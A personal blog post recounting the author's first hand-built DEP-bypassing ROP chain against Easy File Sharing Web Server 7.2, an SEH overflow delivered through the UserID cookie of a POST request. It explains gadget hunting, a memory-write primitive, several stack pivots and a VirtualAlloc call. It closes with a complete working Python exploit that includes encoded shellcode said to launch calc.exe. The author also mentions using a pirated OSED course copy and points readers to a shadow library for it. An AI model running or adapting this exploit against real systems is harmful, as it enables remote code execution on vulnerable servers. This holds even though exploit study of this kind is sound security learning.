I’ve been working through OSED coursework recently, after finding a copy of a pdf floating around on the internet. Since then, I’ve re-written 3 stack overflows and 3 SEH overflows, and they are all available on my github. However, those are sort of simple, since those binaries did not have any memory protections at all.

This article covers the struggles in creating my first ROP chain, and how much I learned through it. I completed this on Easy File Sharing Web Server 7.2. It started very simple, but I ended up using my rop chain to build a second rop chain, then jump back to the original chain. There was a total of 4 stack pivots in this exploit, and it felt just as confusing as my first network pivot.

There is probably a much easier way to do this chain! I ended up doing a double pivot due to my struggles in finding a good gadget to capture esp.

The original exploit that I am re-writing is available here https://www.exploit-db.com/exploits/44522, however it was created in python2 with Mona. First, I changed the exploit into python3 and changed it into a simple SEH overflow. Since DEP is not enabled, I just found a pop pop return, jumped over it, and then placed a nop sled after the buffer. It did not require any island hopping and was extremely simple. That original exploit, with the notes, are available here. https://github.com/nasawyer7/efsw7.2/blob/main/sehbasic.py

My plan was to go from an easy exploit, and force enable DEP, and then build a ROP chain without assistance for fun! Currently my exploit looks like this:

buffer = b"A" * 4059
buffer += pack("<L", (0x06eb9090)) # jmp 6 bytes forward, nop nop.
buffer += pack("<L", (0x1001cba9)) #ppr in imageload. pop esi, pop ebp, ret
buffer += pack("<L", (0x90909090)) * 10
buffer += shellcode.encode('latin-1')
buffer += b"B" * (5000-len(buffer))

I had to extract the possible gadgets, and allow me to grep it.

.\rp-win.exe -f "C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll" -r 5 >> all.txt
iconv -f utf-16 -t utf-8 all.txt > fixed.txt

I started by adding my first stack pivot:

buffer += pack("<L", (0x10022877)) # add esp, 1004, ret

This allows me to shift execution to part of my buffer I control. After finding exactly where that landed in my buffer, I could continue.

I first established a write primitive. This made me much better at regex as well, I think I understand it now.

cat fixed.txt | grep -E ": mov +\[[a-z]{3}\], eax ; ret ;"
0x1001da08: mov  [ecx], eax ; ret ; 

This was completly crucial to the whole exploitation. At first I tried to use a pushadd technique, but that failed very quickly as I could not transfer enough information between registers. Instead, I decided it would be easier to write out a call to VirtualAlloc in memory, and call it that way. As a result, I would need to be doing a lot of writing.

This gadget is wonderful, it allows me to write the contents of eax to where ecx points to. Since there are other simple gadgets for pop ecx and pop eax, this means all I have to do is push all the values I want to the stack, and then use pop ecx to pop eax and this write primitive to complete my chain.

However, virtualalloc call was not at all completed. I needed to capture the stack pointer, copy it to a register, and add a little to it in order to allocate my shellcode without having to move it or anything complicated. The only way to capture esp, I found, was using an

xchg eax, esp ; ret;

Without previous knowledge of the stack, this means that I will have to change the stack pointer to a location I can control. Well, good thing I have a write primitive!

I decided to set eax to the .data section of a dll I control. I would build the virtualloc here, and also use the begining part of this for this double pivot. So, I used my write primitive to push my write primitive to .data, which I willl later xchg with.

#lets load the value we want to write in eax, to use our ptimitive on. 
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 
#now we write that value
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A040)) # this is the address where we will be putting that add.  
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

So why am I doing this? Once xchg runs, eax holds my current current stack pointer. I want to store that value somewhere, so as long as I use xchg to pivot to .data, I can use this first instruction to store esp without messing it up. Then, I can just run xchg again.

Here, I push xchg to .data. I put it 4 bytes in front of the last instruction, so the write primitive will save esp to my own location, and then I can xchg back.

buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x61c05e59)) # xchg eax, esp ; ret;
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A044)) # this is the address where we will be putting that add.  
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov 

I did not want to use my rop chain to continue writing this rop chain, so I set ecx before the call. I needed to set ecx, since I am using my write primitive, and ecx holds the location that my write primitive uses. This sets the location of where esp will be written to, which is 4 bytes past the xchg command.

buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A048)) # save to .data

Now ecx is loaded, and now we have to load eax as well and set it to that .data section.

buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004A040)) # this is the address where we will be putting that add.

I am now ready to jump into .data, and jump back immediantly. Let’s do it.

buffer += pack("<L", (0x61c05e59)) # xchg eax, esp ; ret;

This actually worked, I was able to get a copy of ESP through constructing a second rop chain using my first rop chain. I’m very happy about doing this, even though this is probably a known method used before. Oh well, it feels like re-discovering it when you do not read a tutorial and just hop right into trying to make a rop chain.

From here on out, everything was extremely easy. I was able to use nice gadgets to put that location on the stack, then dereference the pointer so eax is now holding esp, using this read primitive.

buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004A048)) # this holds the stack address, need to change it a little now
buffer += pack("<L", (0x1002248c)) # MOV EAX, [EAX] ; RET

For building the rest of this exploit, I can use eax for everything. This is great, since my write primitive works with that register, and there are many operations for it. Next, I use a gadget to push negative 458 into ecx. Then, i subtract it from eax, to essentially add 458 to eax. This is the location of my shellcode, and the address that we need to call virtualalloc on.

buffer += pack("<L", (0x10023104)) # pop ecx ; ret 
buffer += pack("<L", (0xFFFFFE36)) # - 458, should land us right after our seh pointer 
buffer += pack("<L", (0x1001283e)) # sub eax, ecx ;

The hard part is over! Now we must build the rest of the call. Virtualalloc requires these arguments:

Virtualloc Address

Return address

lp address (the address that gets allocated)

dwsize (set to 0x1 for 4kb)

fallocationtype (set to 0x1000 for memcommit)

flprotect (set to 0x40 for rwx)

So, first I push the value of esp + offset (for my shellcode) into the return address and lpaddress. This way, once the call finishes, it will immediantly be jumped to.

buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A054)) # return address 
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#lets do it again, so it will jump there right away once it executes. 
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A058)) # base address 
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

Earlier in the chain, I dynamically resolved virtualloc, but it makes more sense to put it here. I just did it first since I was worreid it wouldn’t work.

buffer += pack("<L", (0x10015442)) #pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004d1fc)) # location of virtualloc in imageload.dll
buffer += pack("<L", (0x1002248c)) # MOV EAX, [EAX] ; RET

#write virtualloc to .data
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A050)) # save to .data
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

I use various different gadgets to set dwsize and flallocatetype. I’m pushing the larget values on the stack since I do not want to repeat a bunch of math, and I have a neg and dec chain. This way, I can simply push the reverse of a number I want, like 0xffffefff, negate it, and decriment to get the exact number I want without null bytes. In this case that was 0x1000.

buffer += pack("<L", (0x100201a5)) # xor eax, eax ; ret;
buffer += pack("<L", (0x10022199)) #inc eax ; ret ;
#and here lets use our write priv
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A05C)) # .data address im writing 2
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#flAlloctype, set to 0x1000
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0xffffefff)) # reverse of 1000
buffer += pack("<L", (0x100231d1)) # neg eax ; ret
buffer += pack("<L", (0x1001b7ca)) # dec eax ; ret ;
#and apply
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A060)) # .data address im writing 2
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#flprotect, set to 0x40
buffer += pack("<L", (0x100201a5)) # xor eax, eax ; ret;
buffer += pack("<L", (0x10019457))*2 # add eax, 0x20 ; ret (idk i just wanna use it)
#and here lets use our write priv
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A064)) # .data address im writing 2
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

Finally, the full exploit is ready to go. I use xchg again to do my last stack pivot and call virtualloc.

buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004A050)) # save to .data
buffer += pack("<L", (0x61c05e59)) # xchg eax, esp ; ret;

And, it functions! The full exploit is available in the github and is at the bottom of this page. It opens calc.exe.
https://github.com/nasawyer7/efsw7.2/blob/main/dep.py

Interestingly enough, the main author of exploit db had a website here: https://web.archive.org/web/20180818145952/https://ihack4falafel.com/

However, a year after it was filled with chinese images? https://web.archive.org/web/20190712021637/http://ihack4falafel.com/

This one is especially interesting https://web.archive.org/web/20190916111551/http://ihack4falafel.com/

Anyways, now he hosts a blog on github io and does patch diff. GOAT https://ihack4falafel.github.io/Patch-Diffing-with-Ghidra/

I likely will not actually pay for the test and complete OSED, I would rather find real cve’s and do patch diffing, which I will start next semester. If you are also interested in doing this coursework, annas has a nice archive with the OSED in it.

Here is the full exploit!

import socket
from struct import pack
host = '10.5.5.211'
port = 80


#buffer += pack("<L", (0x))


buffer = b"A" * 2871
#resolve virtuallloc
buffer += pack("<L", (0x10015442)) #pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004d1fc)) # location of virtualloc in imageload.dll
buffer += pack("<L", (0x1002248c)) # MOV EAX, [EAX] ; RET

#write virtualloc to .data
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A050)) # save to .data
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#get address of esp and copy it
#lets load the value we want to write in eax, to use our ptimitive on. 
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#now we write that value
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A040)) # this is the address where we will be putting that add.  
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#now since we have saved the stack to ebp, we can xchg again. copy whole chain. this chain writes the 2nd line to .data 
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x61c05e59)) # xchg eax, esp ; ret;
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A044)) # this is the address where we will be putting that add.  
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#now if we set ecx before this, we have a very clear chain, so it shouldnt fail in theory.
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A048)) # save to .data

#now let's prep eax as well. It needs to point to the data we just wrote
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004A040)) # this is the address where we will be putting that add.


#after all of that, now we are ready to jump to .data. 
buffer += pack("<L", (0x61c05e59)) # xchg eax, esp ; ret;
##### IT WORKS YAYYYYYYYY THIS WORKED FIRST TRY IM A GENIOS LETS GOOOOOOOOOOO

#now we have the stack right here: 
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004A048)) # this holds the stack address, need to change it a little now
buffer += pack("<L", (0x1002248c)) # MOV EAX, [EAX] ; RET

#now eax holds our copy of esp. I wanna put my shellcode after the overflow bc ik it works there. So I must add 0x458 to esp. Let's be exact, I don't want to spam a bunch of unnecessary commands, so we will make this pretty with a nice adding gadget... this one should work

buffer += pack("<L", (0x10023104)) # pop ecx ; ret 
buffer += pack("<L", (0xFFFFFE36)) # - 458, should land us right after our seh pointer 
buffer += pack("<L", (0x1001283e)) # sub eax, ecx ;


################ back to patching the virtualalloc call. shellcode addr here######
#now we put that value in .data:
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A054)) # return address 
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#lets do it again, so it will jump there right away once it executes. 
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A058)) # base address 
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#dwsize here, just set to 1. 
buffer += pack("<L", (0x100201a5)) # xor eax, eax ; ret;
buffer += pack("<L", (0x10022199)) #inc eax ; ret ;
#and here lets use our write priv
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A05C)) # .data address im writing 2
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#flAlloctype, set to 0x1000
buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0xffffefff)) # reverse of 1000
buffer += pack("<L", (0x100231d1)) # neg eax ; ret
buffer += pack("<L", (0x1001b7ca)) # dev eax ; ret ;
#and apply
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A060)) # .data address im writing 2
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 

#flprotect, set to 0x40
buffer += pack("<L", (0x100201a5)) # xor eax, eax ; ret;
buffer += pack("<L", (0x10019457))*2 # add eax, 0x20 ; ret (idk i just wanna use it)
#and here lets use our write priv
buffer += pack("<L", (0x10023104)) # pop ecx; ret;
buffer += pack("<L", (0x1004A064)) # .data address im writing 2
buffer += pack("<L", (0x1001da08)) # write primitive :)  mov  [ecx], eax ; ret 
###########################################

#and for final sendoff!

buffer += pack("<L", (0x10015442)) # pop eax, ret (only one in whole binary)
buffer += pack("<L", (0x1004A050)) # save to .data
buffer += pack("<L", (0x61c05e59)) # xchg eax, esp ; ret;

#virtualloc call should function now, and we should have execution! 
############################### original seh overflow section
buffer += b"\x90" * (4059-len(buffer))
buffer += pack("<L", (0x06eb9090)) # jmp 6 bytes forward, nop nop.
buffer += pack("<L", (0x10022877)) # add esp, 1004, ret
######################## shellcode part
buffer += b"\x90" * 20
shellcode =  ""
shellcode += "\x89\xe3\xd9\xe5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
shellcode += "\x6c\x6b\x58\x4e\x62\x63\x30\x57\x70\x77\x70\x53"
shellcode += "\x50\x6e\x69\x6b\x55\x64\x71\x39\x50\x50\x64\x6e"
shellcode += "\x6b\x42\x70\x64\x70\x6c\x4b\x43\x62\x36\x6c\x6e"
shellcode += "\x6b\x43\x62\x75\x44\x6e\x6b\x52\x52\x64\x68\x46"
shellcode += "\x6f\x38\x37\x50\x4a\x76\x46\x64\x71\x4b\x4f\x4e"
shellcode += "\x4c\x77\x4c\x35\x31\x61\x6c\x77\x72\x76\x4c\x37"
shellcode += "\x50\x4a\x61\x5a\x6f\x74\x4d\x37\x71\x39\x57\x38"
shellcode += "\x62\x5a\x52\x30\x52\x66\x37\x6e\x6b\x50\x52\x62"
shellcode += "\x30\x6c\x4b\x62\x6a\x57\x4c\x6c\x4b\x52\x6c\x47"
shellcode += "\x61\x74\x38\x6d\x33\x71\x58\x43\x31\x38\x51\x50"
shellcode += "\x51\x6c\x4b\x33\x69\x67\x50\x35\x51\x48\x53\x6e"
shellcode += "\x6b\x57\x39\x75\x48\x69\x73\x54\x7a\x63\x79\x4e"
shellcode += "\x6b\x35\x64\x6c\x4b\x35\x51\x6a\x76\x46\x51\x39"
shellcode += "\x6f\x6e\x4c\x6f\x31\x48\x4f\x44\x4d\x36\x61\x48"
shellcode += "\x47\x34\x78\x6b\x50\x74\x35\x69\x66\x73\x33\x73"
shellcode += "\x4d\x49\x68\x55\x6b\x43\x4d\x47\x54\x74\x35\x68"
shellcode += "\x64\x63\x68\x4e\x6b\x46\x38\x66\x44\x33\x31\x59"
shellcode += "\x43\x61\x76\x6c\x4b\x66\x6c\x50\x4b\x4c\x4b\x50"
shellcode += "\x58\x47\x6c\x65\x51\x69\x43\x6c\x4b\x63\x34\x6e"
shellcode += "\x6b\x43\x31\x68\x50\x4e\x69\x61\x54\x65\x74\x65"
shellcode += "\x74\x51\x4b\x51\x4b\x73\x51\x73\x69\x62\x7a\x42"
shellcode += "\x71\x69\x6f\x39\x70\x51\x4f\x73\x6f\x43\x6a\x4e"
shellcode += "\x6b\x52\x32\x78\x6b\x4e\x6d\x31\x4d\x53\x5a\x67"
shellcode += "\x71\x6c\x4d\x4f\x75\x48\x32\x57\x70\x77\x70\x43"
shellcode += "\x30\x66\x30\x61\x78\x46\x51\x6e\x6b\x70\x6f\x6e"
shellcode += "\x67\x59\x6f\x6b\x65\x4f\x4b\x78\x70\x6d\x65\x39"
shellcode += "\x32\x50\x56\x73\x58\x6c\x66\x6c\x55\x4d\x6d\x6d"
shellcode += "\x4d\x49\x6f\x49\x45\x65\x6c\x45\x56\x73\x4c\x45"
shellcode += "\x5a\x6b\x30\x6b\x4b\x39\x70\x53\x45\x34\x45\x4d"
shellcode += "\x6b\x42\x67\x65\x43\x63\x42\x70\x6f\x50\x6a\x37"
shellcode += "\x70\x66\x33\x6b\x4f\x69\x45\x30\x63\x35\x31\x72"
shellcode += "\x4c\x65\x33\x76\x4e\x75\x35\x42\x58\x45\x35\x67"
shellcode += "\x70\x41\x41"
buffer += shellcode.encode('latin-1')
buffer += b"\x67" * (5000-len(buffer))



req  = b"POST /forum.ghp HTTP/1.1\r\n"
req += b"Host: " + host.encode() + b"\r\n"
req += b"Cookie: SESSIONID=6771; UserID=" + buffer + b"; PassWD=\r\n"
req += b"Content-Length: 0\r\n"
req += b"\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
print("sent")